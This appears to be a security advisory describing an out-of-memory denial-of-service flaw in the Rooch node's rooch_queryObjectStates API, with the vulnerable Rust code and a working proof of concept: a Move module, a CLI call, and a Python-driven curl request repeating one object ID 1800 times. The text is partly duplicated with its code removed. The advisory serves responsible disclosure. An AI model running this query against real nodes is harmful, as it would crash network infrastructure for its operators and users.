Summary
This vulnerability allows an attacker to exploit the rooch_queryObjectStates
API by querying a large number of objects. A single query can occupy a large amount of memory, causing the node running out of memory and killed by the OS due to OOM exception.
Details
Reproduced on
- main branch (9c515e5)
Affected Module:
crates/rooch-rpc-server/src/server/rooch_server.rs
In query_object_states
, for ObjectStateFilter::ObjectId
, there is no limit on the number of object ids a user can query in a single query.
let indexer_ids = match filter {
// Compatible with object_ids query after split object_states
// Do not query the indexer, directly return the states query results.
ObjectStateFilter::ObjectId(object_ids) => object_ids
.into_iter()
.map(|v| (v, IndexerStateID::default()))
.collect(),
_ => {
self.indexer
.query_object_ids(filter, cursor, limit, descending_order, state_type)
.await?
}
};
Although the number of objects in the returned results is limited by truncation, a large amount of memory has already been occupied before the truncation. Attackers can exhaust node's memory by querying a large number of object IDs, causing an OOM exception.
PoC
Server-side setup
We launch the Rooch Node in a VM with 16GB memory limit.
Attack-side
module hello_rooch::hello_rooch {
use moveos_std::account;
use moveos_std::object;
struct S has key,store{value: vector<S1>}
struct S1 has key,store,copy,drop{value: u8}
entry fun f1(){
let v0 = S1{value:255};
let res = std::vector::empty<S1>();
let b = 5000;
while (b > 0){
std::vector::push_back(&mut res, v0);
b = b-1
};
object::transfer( object::new_named_object( S{ value: res }),@hello_rooch);
}
}
Publish the module
Call the function f1 and get new <object_id>
rooch move run --function <address>::hello_rooch::f1
Query this <object_id> multiple times through the API
import os
ids = "<object_id>,"*1800
ids = ids[:-1]
cmd = """curl --location 'http://0.0.0.0:6767' --header 'Content-Type: application/json' --data '{{"jsonrpc":"2.0","id":0,"method":"rooch_queryObjectStates","params":[{{"object_id":"{}"}},null,null,{{"descending":true,"decode":true,"showDisplay":true,"filterOut":false}}]}}' > 1""".format(ids)
os.system(cmd)
replace the <object_id> to your object id
This query will exhaust the node's memory, causing the node process being killed by the OS due to OOM exception.
Impact
This vulnerability affects all Rooch nodes that can execute rooch_queryObjectStates, allowing attackers to use malicious queries to occupy a large amount of memory, causing the node to go out of memory and shut down all affected nodes in the network.
Summary
This vulnerability allows an attacker to exploit the
rooch_queryObjectStates
API by querying a large number of objects. A single query can occupy a large amount of memory, causing the node running out of memory and killed by the OS due to OOM exception.Details
Reproduced on
Affected Module:
crates/rooch-rpc-server/src/server/rooch_server.rs
In
query_object_states
, forObjectStateFilter::ObjectId
, there is no limit on the number of object ids a user can query in a single query.Although the number of objects in the returned results is limited by truncation, a large amount of memory has already been occupied before the truncation. Attackers can exhaust node's memory by querying a large number of object IDs, causing an OOM exception.
PoC
Server-side setup
We launch the Rooch Node in a VM with 16GB memory limit.
Attack-side
Publish the module
Call the function f1 and get new <object_id>
Query this <object_id> multiple times through the API
replace the <object_id> to your object id
This query will exhaust the node's memory, causing the node process being killed by the OS due to OOM exception.
Impact
This vulnerability affects all Rooch nodes that can execute rooch_queryObjectStates, allowing attackers to use malicious queries to occupy a large amount of memory, causing the node to go out of memory and shut down all affected nodes in the network.